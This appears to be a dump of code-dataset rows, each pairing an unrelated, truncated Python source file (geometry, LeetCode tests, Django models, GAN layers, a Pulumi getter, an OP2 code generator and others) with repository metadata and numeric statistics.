import numpy as np from math import sqrt import time from rpl.tools.geometry.surface_io import open_geom from bsp_tree_poly import BSP_Tree import logging ## Get rid of any existing handlers (e.g. if running interactively in ipython) logging.getLogger().handlers = [] ## Main logging goes to a file logging....
23.257732
114
0.628103
352
2,256
3.880682
0.392045
0.013177
0.015373
0.014641
0.043192
0
0
0
0
0
0
0.041214
0.225621
2,256
97
115
23.257732
0.740698
0.070035
0
0
0
0
0.070677
0.017544
0
0
0
0
0
0
null
null
0
0.122807
null
null
0.140351
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
b6f890c3e690fdebe8e1a0836fd68af2ccbf3ac2
870
py
Python
tests/046.py
abawchen/leetcode
41d3b172a7694a46a860fbcb0565a3acccd000f2
[ "MIT" ]
null
null
null
tests/046.py
abawchen/leetcode
41d3b172a7694a46a860fbcb0565a3acccd000f2
[ "MIT" ]
null
null
null
tests/046.py
abawchen/leetcode
41d3b172a7694a46a860fbcb0565a3acccd000f2
[ "MIT" ]
null
null
null
import unittest import sys import itertools sys.path.append('./') solutions = __import__('solutions.046_permutations', fromlist='*') class Test046(unittest.TestCase): def test_permute(self): s = solutions.Solution() l = [1] self.assertEqual(s.permute(l), self._permutaions(l)) l...
24.166667
75
0.594253
112
870
4.4375
0.348214
0.150905
0.160966
0.231388
0.428571
0.428571
0.428571
0.428571
0.348089
0.263581
0
0.027778
0.255172
870
35
76
24.857143
0.739198
0.127586
0
0.2
0
0
0.049007
0.034437
0
0
0
0
0.2
1
0.1
false
0
0.2
0.05
0.4
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
b6fa4e224f2429e0da069e839232d4b3abb740f6
12,127
py
Python
zopeskel/zopeskel_script.py
jean/ZopeSkel
c9084f30aa03c2b36411bce5c75b9b85ccbabb2f
[ "MIT" ]
1
2021-05-31T13:51:43.000Z
2021-05-31T13:51:43.000Z
zopeskel/zopeskel_script.py
jean/ZopeSkel
c9084f30aa03c2b36411bce5c75b9b85ccbabb2f
[ "MIT" ]
null
null
null
zopeskel/zopeskel_script.py
jean/ZopeSkel
c9084f30aa03c2b36411bce5c75b9b85ccbabb2f
[ "MIT" ]
null
null
null
import sys import pkg_resources from cStringIO import StringIO from textwrap import TextWrapper from zopeskel.base import wrap_help_paras from paste.script.command import get_commands from zopeskel.ui import list_sorted_templates USAGE = """ Usage: zopeskel <template> <output-name> [var1=value] ... [varN=value] ...
30.3175
96
0.645337
1,636
12,127
4.733496
0.265892
0.01937
0.010331
0.015496
0.076059
0.054623
0.054623
0.022469
0
0
0
0.003783
0.258844
12,127
399
97
30.393484
0.85781
0.061186
0
0.172794
0
0.003676
0.563422
0.011863
0
0
0
0
0
0
null
null
0.003676
0.025735
null
null
0.088235
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
b6fd138f9d6faa66d73686eff259aaba67f2723e
6,505
py
Python
scilifelab/lims_utils/process_categories.py
ssjunnebo/scilifelab
79960f7042118f900bd1eaabe4902ee76abd8020
[ "MIT" ]
1
2016-03-21T14:04:09.000Z
2016-03-21T14:04:09.000Z
scilifelab/lims_utils/process_categories.py
ssjunnebo/scilifelab
79960f7042118f900bd1eaabe4902ee76abd8020
[ "MIT" ]
35
2015-01-22T08:25:02.000Z
2020-02-17T12:09:12.000Z
scilifelab/lims_utils/process_categories.py
ssjunnebo/scilifelab
79960f7042118f900bd1eaabe4902ee76abd8020
[ "MIT" ]
6
2015-01-16T15:32:08.000Z
2020-01-30T14:34:40.000Z
INITALQCFINISHEDLIB = {'Description':'All processes included in the initial qc protocol for finished libraries, except the aggregation step.', '24' : 'Customer Gel QC', '62' : 'qPCR QC (Library Validation) 4.0', '64' : 'Quant-iT QC (Library Validation) 4.0', '67' : 'Qubit QC (Library Validation) 4.0', ...
56.565217
349
0.646272
839
6,505
4.98093
0.294398
0.019143
0.059105
0.062216
0.334051
0.295047
0.274228
0.274228
0.230677
0.186169
0
0.05103
0.216756
6,505
114
350
57.061404
0.769185
0
0
0.166667
0
0.064815
0.699769
0.011991
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
b6ff02751decc20312bc14dcf1d511eecda15068
2,240
py
Python
basic_calculator_2.py
Ahmed--Mohsen/leetcode
ad8967a5d85ac54f53b3fcce04df1b4bdec5fd9e
[ "MIT" ]
4
2016-01-03T20:57:21.000Z
2017-07-06T23:22:40.000Z
basic_calculator_2.py
Ahmed--Mohsen/leetcode
ad8967a5d85ac54f53b3fcce04df1b4bdec5fd9e
[ "MIT" ]
null
null
null
basic_calculator_2.py
Ahmed--Mohsen/leetcode
ad8967a5d85ac54f53b3fcce04df1b4bdec5fd9e
[ "MIT" ]
null
null
null
""" Implement a basic calculator to evaluate a simple expression string. The expression string contains only non-negative integers, +, -, *, / operators and empty spaces. The integer division should truncate toward zero. You may assume that the given expression is always valid. Some examples: "3+2*2" = 7 " 3/2 " =...
19.823009
98
0.579464
299
2,240
4.301003
0.351171
0.048989
0.050544
0.027994
0.162519
0.109642
0.075428
0.027216
0.027216
0
0
0.016864
0.285268
2,240
113
99
19.823009
0.786384
0.172321
0
0.306452
0
0
0.01945
0
0
0
0
0
0
0
null
null
0
0
null
null
0.016129
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
8e049f0aa27352585b06ca05df30f94ec3db1091
475
py
Python
backend/genomafoodies/models.py
heraldofortuna/genomafoodies
d625e13c628c31a11732f2b36f9b752980a5cd9b
[ "Unlicense" ]
null
null
null
backend/genomafoodies/models.py
heraldofortuna/genomafoodies
d625e13c628c31a11732f2b36f9b752980a5cd9b
[ "Unlicense" ]
null
null
null
backend/genomafoodies/models.py
heraldofortuna/genomafoodies
d625e13c628c31a11732f2b36f9b752980a5cd9b
[ "Unlicense" ]
null
null
null
from django.db import models from django.core.validators import MinValueValidator, MaxValueValidator # Create your models here. class Genomafoodies(models.Model): title = models.CharField(max_length=50) ubication = models.TextField() food_type = models.TextField() score = models.IntegerField( ...
27.941176
71
0.736842
52
475
6.653846
0.692308
0.057803
0
0
0
0
0
0
0
0
0
0.010152
0.170526
475
16
72
29.6875
0.86802
0.050526
0
0
0
0
0
0
0
0
0
0
0
1
0.090909
false
0
0.181818
0.090909
0.909091
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
8e05b464f863ee3ff6b1d8a71e1c57c1ec0a71f1
3,374
py
Python
assignment4/gan/models.py
yutong-xie/CS498-DL-Assignment
a0c93422c31a19ece7abbd2a7bb19f7feb8ea5ef
[ "MIT" ]
null
null
null
assignment4/gan/models.py
yutong-xie/CS498-DL-Assignment
a0c93422c31a19ece7abbd2a7bb19f7feb8ea5ef
[ "MIT" ]
null
null
null
assignment4/gan/models.py
yutong-xie/CS498-DL-Assignment
a0c93422c31a19ece7abbd2a7bb19f7feb8ea5ef
[ "MIT" ]
null
null
null
import torch import torch.nn as nn from gan.spectral_normalization import SpectralNorm class Discriminator(nn.Module): def __init__(self, input_channels=3): super(Discriminator, self).__init__() #Hint: Hint: Apply spectral normalization to convolutional layers. Input to SpectralNorm should be your...
36.27957
126
0.479549
380
3,374
4.192105
0.178947
0.065913
0.060264
0.112994
0.526679
0.467043
0.450094
0.39548
0.39548
0.39548
0
0.092184
0.302312
3,374
92
127
36.673913
0.584537
0.098696
0
0.271186
0
0
0
0
0
0
0
0.01087
0
1
0.067797
false
0
0.050847
0
0.186441
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
8e13e88951d6d92ee282735ac8cfc21a6802ca4c
1,877
py
Python
app/accounts/mutations/admins.py
Alohomora-team/AlohomoraAPI
8c5aefa37c16a1849e5af72b7d130a132d198eb0
[ "MIT" ]
2
2019-10-25T02:35:12.000Z
2019-11-20T21:18:42.000Z
app/accounts/mutations/admins.py
Alohomora-team/AlohomoraAPI
8c5aefa37c16a1849e5af72b7d130a132d198eb0
[ "MIT" ]
65
2019-10-23T12:43:39.000Z
2022-02-10T13:18:08.000Z
app/accounts/mutations/admins.py
Alohomora-team/AlohomoraAPI
8c5aefa37c16a1849e5af72b7d130a132d198eb0
[ "MIT" ]
null
null
null
""" Create a CRUD of admin users """ import graphene from django.contrib.auth import get_user_model from graphql_jwt.decorators import superuser_required, login_required from accounts.models import Admin from accounts.types import UserType class CreateAdmin(graphene.Mutation): """Mutation from graphene for creati...
26.069444
69
0.614811
196
1,877
5.821429
0.331633
0.06135
0.063103
0.084137
0.327783
0.136722
0.068361
0
0
0
0
0
0.295685
1,877
71
70
26.43662
0.863086
0.133191
0
0.23913
0
0
0.01825
0
0
0
0
0
0
1
0.043478
false
0.086957
0.108696
0
0.347826
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
8e1613b75fb1c4e2a9d36edca9ff6e926c969de5
1,887
py
Python
src/Generate.py
cisprague/Astro.IQ
4e2df67ddc0ffc518c4f65d0bf558380e6a7c6d1
[ "MIT" ]
20
2017-11-21T18:25:52.000Z
2022-03-16T18:18:41.000Z
src/Generate.py
siddharthdeore/Astro.IQ
4e2df67ddc0ffc518c4f65d0bf558380e6a7c6d1
[ "MIT" ]
2
2017-08-16T19:51:03.000Z
2017-11-14T21:03:18.000Z
src/Generate.py
siddharthdeore/Astro.IQ
4e2df67ddc0ffc518c4f65d0bf558380e6a7c6d1
[ "MIT" ]
5
2019-07-08T23:10:11.000Z
2022-03-15T15:32:53.000Z
# Resources from Trajectory import Point_Lander_Drag from Optimisation import HSS from PyGMO import * from numpy import * import multiprocessing def main(n): ''' ------------------------------------------------- Problem : SpaceX Dragon 2 Martian Soft Landing Dynamics : 2-Dimensional Variable Ma...
33.105263
78
0.591415
231
1,887
4.679654
0.528139
0.030527
0.027752
0
0
0
0
0
0
0
0
0.012169
0.259671
1,887
56
79
33.696429
0.761632
0.149444
0
0
0
0
0.15154
0.069692
0
0
0
0
0
0
null
null
0
0.15625
null
null
0.15625
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
8e19ea2590ae17fc18a92de3663174cfd5b2b77b
504
py
Python
synthetic/discrepancy.py
Meng-Lingjun-xjtu/ttt-plus-plus
0f26c689fcaa666fa3524e7c5b6de0c1cb510e89
[ "MIT" ]
23
2021-11-21T10:50:49.000Z
2022-03-14T09:34:10.000Z
synthetic/discrepancy.py
Meng-Lingjun-xjtu/ttt-plus-plus
0f26c689fcaa666fa3524e7c5b6de0c1cb510e89
[ "MIT" ]
2
2022-01-06T01:19:24.000Z
2022-03-03T15:39:23.000Z
synthetic/discrepancy.py
Meng-Lingjun-xjtu/ttt-plus-plus
0f26c689fcaa666fa3524e7c5b6de0c1cb510e89
[ "MIT" ]
2
2021-12-14T22:34:55.000Z
2022-01-23T10:49:14.000Z
import numpy as np import torch def covariance(features): assert len(features.size()) == 2, "TODO: multi-dimensional feature map covariance" n = features.shape[0] tmp = torch.ones((1, n), device=features.device) @ features cov = (features.t() @ features - (tmp.t() @ tmp) / n) / (n - 1) return cov ...
22.909091
86
0.589286
77
504
3.844156
0.519481
0.040541
0
0
0
0
0
0
0
0
0
0.023377
0.236111
504
21
87
24
0.745455
0
0
0.133333
0
0
0.091451
0
0
0
0
0
0.066667
1
0.2
false
0
0.133333
0
0.533333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
8e2030448752921687eb59abb1913c4abb6e301c
7,680
py
Python
sdk/python/pulumi_civo/get_snapshot.py
dirien/pulumi-civo
f75eb1482bade0d21fb25c9e20e6838791518226
[ "ECL-2.0", "Apache-2.0" ]
3
2020-08-04T12:27:02.000Z
2022-03-14T13:16:43.000Z
sdk/python/pulumi_civo/get_snapshot.py
dirien/pulumi-civo
f75eb1482bade0d21fb25c9e20e6838791518226
[ "ECL-2.0", "Apache-2.0" ]
85
2020-08-17T19:03:57.000Z
2022-03-25T19:17:57.000Z
sdk/python/pulumi_civo/get_snapshot.py
dirien/pulumi-civo
f75eb1482bade0d21fb25c9e20e6838791518226
[ "ECL-2.0", "Apache-2.0" ]
5
2020-08-04T12:27:03.000Z
2022-03-24T00:56:24.000Z
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from . import ...
33.103448
225
0.625
933
7,680
4.894962
0.165059
0.037005
0.045544
0.085395
0.181082
0.120429
0.082111
0.040508
0.015327
0
0
0.000179
0.271484
7,680
231
226
33.246753
0.816086
0.147266
0
0.129252
1
0
0.145924
0.009685
0
0
0
0
0
1
0.108844
false
0
0.034014
0.006803
0.258503
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
8e2643cf3118e11758efb3f7ee35bad253c1c578
580
py
Python
index.py
incognitofox/uncommon_hacks_2021
69ead646426b05f9aded2f8899d271eb9e95ff58
[ "MIT" ]
null
null
null
index.py
incognitofox/uncommon_hacks_2021
69ead646426b05f9aded2f8899d271eb9e95ff58
[ "MIT" ]
null
null
null
index.py
incognitofox/uncommon_hacks_2021
69ead646426b05f9aded2f8899d271eb9e95ff58
[ "MIT" ]
null
null
null
from flask import Flask, render_template, request import audd_test app = Flask(__name__) @app.route('/') def index(): return render_template('index.html', text='') @app.route('/rr_check', methods=["POST"]) def rr_check(): url = request.form['url'] is_rr = audd_test.url_to_audio(url) if is_rr: ...
27.619048
125
0.674138
86
580
4.267442
0.546512
0.152589
0.163488
0.20436
0.286104
0.286104
0.196185
0
0
0
0
0.008351
0.174138
580
20
126
29
0.757829
0
0
0
0
0
0.217241
0
0
0
0
0
0
1
0.125
false
0
0.125
0.0625
0.4375
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
8e26b7efd0da64ad183019357195a91e0a8d6354
858
py
Python
Shell-Socket-Programming/Shell.py
bayudwiyansatria/Network-Security-Management
8021c3a976337282a261f086024f248aa5c9e4ec
[ "MIT" ]
2
2019-06-09T23:26:44.000Z
2019-06-27T08:18:05.000Z
Shell-Socket-Programming/Shell.py
bayudwiyansatria/Network-Security-Management
8021c3a976337282a261f086024f248aa5c9e4ec
[ "MIT" ]
null
null
null
Shell-Socket-Programming/Shell.py
bayudwiyansatria/Network-Security-Management
8021c3a976337282a261f086024f248aa5c9e4ec
[ "MIT" ]
null
null
null
import os; def createStringCommand(String): return "echo "+String; def shellexec(command): return os.system(command); def checkFileExist(pathToFile): exists = os.path.isfile(pathToFile); if exists: return True; else: return False; def getCurrentDirectory(): return os.getcwd()...
22
86
0.678322
93
858
6.258065
0.537634
0.061856
0
0
0
0
0
0
0
0
0
0.004286
0.184149
858
39
87
22
0.827143
0
0
0.068966
0
0.034483
0.203725
0
0
0
0
0
0
1
0.137931
false
0
0.034483
0.103448
0.344828
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
0
0
0
1
8e272497ace8b6a02c22d0afb516f7356ea6be45
2,033
py
Python
2021/day20.py
JLMadsen/AdventOfCode
127a78955e48618814ef0e3fbfbe0571c7b3ca1a
[ "MIT" ]
2
2019-12-03T20:23:09.000Z
2020-08-28T10:46:18.000Z
2021/day20.py
JLMadsen/AdventOfCode
127a78955e48618814ef0e3fbfbe0571c7b3ca1a
[ "MIT" ]
null
null
null
2021/day20.py
JLMadsen/AdventOfCode
127a78955e48618814ef0e3fbfbe0571c7b3ca1a
[ "MIT" ]
1
2021-10-30T07:27:54.000Z
2021-10-30T07:27:54.000Z
from collections import defaultdict def adjacent(y, x): for dy in [-1, 0, 1]: for dx in [-1, 0, 1]: yield y+dy, x+dx def enhance(image, enhancement): new_image = defaultdict(lambda: 0) for cell, value in image.items(): for y1, x1, in adjacent(*cell): if (y1, x1) i...
32.269841
522
0.352681
195
2,033
3.584615
0.338462
0.04578
0.011445
0.014306
0.074392
0
0
0
0
0
0
0.036054
0.276931
2,033
62
523
32.790323
0.438776
0.034432
0
0
0
0
0.298264
0.261491
0
0
0
0
0
1
0.069767
false
0
0.023256
0
0.116279
0.139535
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
8e2993e5a56b11ac8836692f147cfd5604388f38
18,543
py
Python
op2orig/translator/c/python/op2_gen_openmp_simple.py
octurion/ecoop-artifact
4afd9c44bddbd365141b0e3e38b26f971d5dd898
[ "MIT" ]
null
null
null
op2orig/translator/c/python/op2_gen_openmp_simple.py
octurion/ecoop-artifact
4afd9c44bddbd365141b0e3e38b26f971d5dd898
[ "MIT" ]
null
null
null
op2orig/translator/c/python/op2_gen_openmp_simple.py
octurion/ecoop-artifact
4afd9c44bddbd365141b0e3e38b26f971d5dd898
[ "MIT" ]
null
null
null
########################################################################## # # OpenMP code generator # # This routine is called by op2 which parses the input files # # It produces a file xxx_kernel.cpp for each kernel, # plus a master kernel file # #######################################################################...
30.905
143
0.512484
2,570
18,543
3.528016
0.114008
0.019632
0.011911
0.014117
0.504687
0.457373
0.405647
0.36109
0.343554
0.318407
0
0.016075
0.258588
18,543
599
144
30.956594
0.643439
0.046163
0
0.558442
0
0.010823
0.281287
0.059589
0.004329
0
0
0
0
0
null
null
0.002165
0.008658
null
null
0.006494
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
8e2ae803021020350bb09f7d54399a26e4cd9148
4,400
py
Python
irm/cges_utils.py
ashok-arjun/DomainBed
8c21f36c0b447221c9ad9792d4d867fb5aa26198
[ "MIT" ]
null
null
null
irm/cges_utils.py
ashok-arjun/DomainBed
8c21f36c0b447221c9ad9792d4d867fb5aa26198
[ "MIT" ]
null
null
null
irm/cges_utils.py
ashok-arjun/DomainBed
8c21f36c0b447221c9ad9792d4d867fb5aa26198
[ "MIT" ]
null
null
null
import os import numpy as np from PIL import Image import matplotlib.pyplot as plt import torch import random import numpy as np import torch import os from collections import OrderedDict ...
66.666667
150
0.277045
296
4,400
3.959459
0.334459
0.029863
0.020478
0.028157
0.223549
0.076792
0.076792
0.076792
0.042662
0
0
0.041272
0.664091
4,400
66
151
66.666667
0.751691
0.152045
0
0.153846
0
0.025641
0.023125
0
0
0
0
0
0
1
0.025641
false
0
0.25641
0
0.282051
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
8e33bc00683d4cf4a9536ce4e2daa6b3723bb494
716
py
Python
app/tests/api_tests/test_schema.py
kaczmarj/grand-challenge.org
8dc8a2170e51072354f7e94f2a22578805a67b94
[ "Apache-2.0" ]
101
2018-04-11T14:48:04.000Z
2022-03-28T00:29:48.000Z
app/tests/api_tests/test_schema.py
kaczmarj/grand-challenge.org
8dc8a2170e51072354f7e94f2a22578805a67b94
[ "Apache-2.0" ]
1,733
2018-03-21T11:56:16.000Z
2022-03-31T14:58:30.000Z
app/tests/api_tests/test_schema.py
kaczmarj/grand-challenge.org
8dc8a2170e51072354f7e94f2a22578805a67b94
[ "Apache-2.0" ]
42
2018-06-08T05:49:07.000Z
2022-03-29T08:43:01.000Z
from drf_spectacular.validation import validate_schema from rest_framework.test import APIRequestFactory from grandchallenge.api.urls import SchemaView def test_schema_is_valid(): schema_view = SchemaView() # Initialize the url conf rf = APIRequestFactory() schema_view.get(rf.get("/")) generato...
27.538462
72
0.751397
89
716
5.808989
0.505618
0.116054
0.069633
0
0
0
0
0
0
0
0
0
0.182961
716
25
73
28.64
0.883761
0.22905
0
0
0
0
0.001828
0
0
0
0
0.04
0
1
0.071429
false
0
0.214286
0
0.285714
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
8e360aca7a0096d2ef70db4b3365b99c68c728bf
141
py
Python
client0.py
pabitra0177/ITR-internship
3d1909b9e4a1b980ad4f6cb4b8c1fb17811c2d75
[ "MIT" ]
null
null
null
client0.py
pabitra0177/ITR-internship
3d1909b9e4a1b980ad4f6cb4b8c1fb17811c2d75
[ "MIT" ]
null
null
null
client0.py
pabitra0177/ITR-internship
3d1909b9e4a1b980ad4f6cb4b8c1fb17811c2d75
[ "MIT" ]
null
null
null
import socket s=socket.socket() #host=socket.gethostname() #print(host) host='' port=112 s.connect((host,port)) print(s.recv()) s.close()
10.846154
26
0.695035
22
141
4.454545
0.5
0.163265
0
0
0
0
0
0
0
0
0
0.023438
0.092199
141
12
27
11.75
0.742188
0.255319
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.142857
0
0.142857
0.142857
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
8e368ecaa3618ea3350cdc9b894198340ff6d925
346
py
Python
python/udacity_programming_foundations/translate.py
juancarlosqr/datascience
2e4d78365b059a3e501e988bee53970ac0d718fc
[ "MIT" ]
null
null
null
python/udacity_programming_foundations/translate.py
juancarlosqr/datascience
2e4d78365b059a3e501e988bee53970ac0d718fc
[ "MIT" ]
null
null
null
python/udacity_programming_foundations/translate.py
juancarlosqr/datascience
2e4d78365b059a3e501e988bee53970ac0d718fc
[ "MIT" ]
null
null
null
#!/usr/bin/python def run_test(): intab = 'aeiou' outtab = '54321' trantab = str.maketrans(intab, outtab) result = 'this is string example....wow!!!' print(result) print(result.translate(trantab)) trantab = str.maketrans(outtab, intab) print(result.translate(trantab)) if __name__ == ...
21.625
47
0.644509
41
346
5.195122
0.585366
0.15493
0.178404
0.253521
0
0
0
0
0
0
0
0.018116
0.202312
346
16
48
21.625
0.753623
0.046243
0
0.181818
0
0
0.151515
0
0
0
0
0
0
1
0.090909
false
0
0
0
0.090909
0.272727
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
8e458ec666fb6bb429d2b86775e948ed0999ac48
2,668
py
Python
speaking_portfolio/models.py
jacobian/jacobian.org
cacff78aa68cb1585a63c04ff5bd7fc484066730
[ "Apache-2.0" ]
8
2018-11-12T21:11:18.000Z
2020-10-20T09:03:54.000Z
speaking_portfolio/models.py
jacobian/jacobian.org
cacff78aa68cb1585a63c04ff5bd7fc484066730
[ "Apache-2.0" ]
5
2018-11-28T12:56:57.000Z
2020-02-05T21:56:48.000Z
speaking_portfolio/models.py
jacobian/jacobian.org
cacff78aa68cb1585a63c04ff5bd7fc484066730
[ "Apache-2.0" ]
5
2018-11-19T16:47:15.000Z
2020-02-14T22:34:26.000Z
import micawber import logging from django.db import models from django_postgres_unlimited_varchar import UnlimitedCharField from django.urls import reverse from django.utils import timezone from django.contrib.postgres.fields import JSONField log = logging.getLogger(__name__) class Conference(models.Model): tit...
27.22449
80
0.668666
322
2,668
5.39441
0.400621
0.040299
0.032239
0.029361
0.157168
0.157168
0.157168
0.06563
0
0
0
0
0.211019
2,668
97
81
27.505155
0.825178
0.065592
0
0.144928
0
0
0.112138
0.010048
0
0
0
0
0
1
0.115942
false
0
0.101449
0.101449
0.57971
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
0
0
0
1
8e47cd17e77fb3b0811f86a62f39cd51c5713162
5,400
py
Python
spardaqus/core/types.py
bretlowery/Spardaqus
675aac35823541d08f99af70b5d2a50264e561f9
[ "MIT" ]
null
null
null
spardaqus/core/types.py
bretlowery/Spardaqus
675aac35823541d08f99af70b5d2a50264e561f9
[ "MIT" ]
null
null
null
spardaqus/core/types.py
bretlowery/Spardaqus
675aac35823541d08f99af70b5d2a50264e561f9
[ "MIT" ]
null
null
null
from enum import Enum, unique import socket from pyspark.sql.types import StringType, StructType, ArrayType from spardaqus import globals from spardaqus.core.utils import mergedicts from spardaqus.core.exceptions import \ SpardaqusMissingSparkSQLStructMetadata, \ SpardaqusSparkSQLStructParseError, \ Spard...
46.153846
147
0.537593
511
5,400
5.604697
0.236791
0.094274
0.120461
0.16236
0.315642
0.119763
0.032821
0
0
0
0
0.00375
0.308704
5,400
116
148
46.551724
0.763461
0.027222
0
0.157895
0
0
0.100019
0
0
0
0
0
0
1
0.042105
false
0
0.063158
0.021053
0.2
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f3d037d5110ce4fe3c95a2c0735e768dd5e5b62e
34,349
py
Python
py/Channel.py
cu-madc/vacuum
017315490e7d8cb1fc4f2c99db3b3db316702494
[ "BSD-3-Clause" ]
1
2020-05-19T02:44:55.000Z
2020-05-19T02:44:55.000Z
py/Channel.py
cu-madc/vacuum
017315490e7d8cb1fc4f2c99db3b3db316702494
[ "BSD-3-Clause" ]
null
null
null
py/Channel.py
cu-madc/vacuum
017315490e7d8cb1fc4f2c99db3b3db316702494
[ "BSD-3-Clause" ]
null
null
null
#!/usr/bin/python # # Channel.py # # Created on: 2 Feb, 2011 # Author: Skufka - adapted by black - adapted by PW # # class definition for the channel object not using sockets # # This material is based on research sponsored by DARPA under agreement # number FA8750-10-2-0165. The U.S. Government is a...
33.774828
137
0.692859
3,610
34,349
6.555679
0.156233
0.010902
0.005071
0.030423
0.410209
0.366222
0.327728
0.283825
0.23988
0.22695
0
0.011044
0.203878
34,349
1,016
138
33.808071
0.854385
0.390026
0
0.369021
0
0
0.011493
0
0
0
0
0.000984
0
0
null
null
0.020501
0.09795
null
null
0.031891
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
f3d6aa2c699fa498e72e587a3c219e9bf3a8b3fb
498
py
Python
registers/migrations/0007_auto_20181023_1338.py
mohdbakhrayba/it-assets
ea03882ffd70e40c82f5684dc4980ff46520843b
[ "Apache-2.0" ]
null
null
null
registers/migrations/0007_auto_20181023_1338.py
mohdbakhrayba/it-assets
ea03882ffd70e40c82f5684dc4980ff46520843b
[ "Apache-2.0" ]
null
null
null
registers/migrations/0007_auto_20181023_1338.py
mohdbakhrayba/it-assets
ea03882ffd70e40c82f5684dc4980ff46520843b
[ "Apache-2.0" ]
null
null
null
# Generated by Django 2.0.9 on 2018-10-23 05:38 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('registers', '0006_auto_20181023_1117'), ] operations = [ migrations.AlterField( model_name='changerequest', name='de...
26.210526
148
0.644578
60
498
5.266667
0.85
0
0
0
0
0
0
0
0
0
0
0.083558
0.25502
498
18
149
27.666667
0.768194
0.090361
0
0
1
0
0.292683
0.050998
0
0
0
0
0
1
0
false
0
0.083333
0
0.333333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f3db40ee19ad9d3809c14342569f7d2caaa362d3
17,581
py
Python
phase_3_learning/models/seq2seq.py
rpryzant/nmt
fd4aee254aef4a61ca9ed4bc6926f163a94f26e3
[ "MIT" ]
3
2018-03-12T14:29:21.000Z
2018-11-13T07:32:04.000Z
phase_3_learning/models/seq2seq.py
rpryzant/nmt
fd4aee254aef4a61ca9ed4bc6926f163a94f26e3
[ "MIT" ]
null
null
null
phase_3_learning/models/seq2seq.py
rpryzant/nmt
fd4aee254aef4a61ca9ed4bc6926f163a94f26e3
[ "MIT" ]
null
null
null
""" http://arxiv.org/abs/1412.7449 and https://arxiv.org/abs/1508.04025 (mostly the latter) TODO: read from model path if provided beam search decoding unk replacement from attention scores """ import encoders import decoders import tensorflow as tf import numpy as np import os from msc.constants import C...
45.311856
114
0.545532
1,888
17,581
4.871292
0.1875
0.024465
0.01631
0.018593
0.321518
0.248994
0.243231
0.214744
0.20224
0.184843
0
0.007581
0.377282
17,581
387
115
45.428941
0.832481
0.056993
0
0.306723
0
0
0.034036
0.001573
0
0
0
0.002584
0.008403
0
null
null
0.008403
0.02521
null
null
0.008403
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
